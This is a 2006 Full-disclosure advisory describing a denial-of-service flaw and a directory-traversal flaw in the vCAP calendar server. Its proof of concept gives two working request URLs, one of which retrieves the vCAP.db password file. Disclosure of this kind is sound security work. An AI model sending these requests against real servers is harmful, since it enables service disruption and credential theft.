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[Full-disclosure] vCAP calendar server Multiple vulnerabilities

securmamorx.org
Date: Mon Sep 11 2006 - 12:50:22 CDT


title: vCAP calendar server Multiple vulnerabilities

Author: securma massine <securmamorx.org>
MorX Security Research Team
http://www.morx.org

Product info : vCAP (www.pscs.co.uk)is a network calendar server for Windows. vCAP allows user to create calendars which can be viewed and modified by people on network using a web browser.

Original Advisory/PoC : http://www.morx.org/vcap.txt

Severity: Medium/High - user can remotely attack the server

Vulnerability Description:
v1: denial of service attack with a specific request
v2: directory traversal , any file on the system can be downloaded ,especially vCAp's passwords (vCAP.db)
 
Affected Software(s): vCAP calendar server 1.9.0 Beta and prior

Affected platform(s): Windows

Exploit/Proof of Concept:
v1- http://127.0.0.1:6100/StoresAndCalendarsList.cgi?session=%d%d%d%d%d
v2- http://127.0.0.1:6100/../Data/vCAP.db

Solution : ??

History:
16/08/2006 initial vendor contact
17/08/2006 sending vulnerability details
31/08/2006 vulnerability confirmed

Disclaimer:
this entire document is for eductional, testing and demonstrating purpose only.The author do not have any responsibility for any malicious use of this advisory or proof of concept code.

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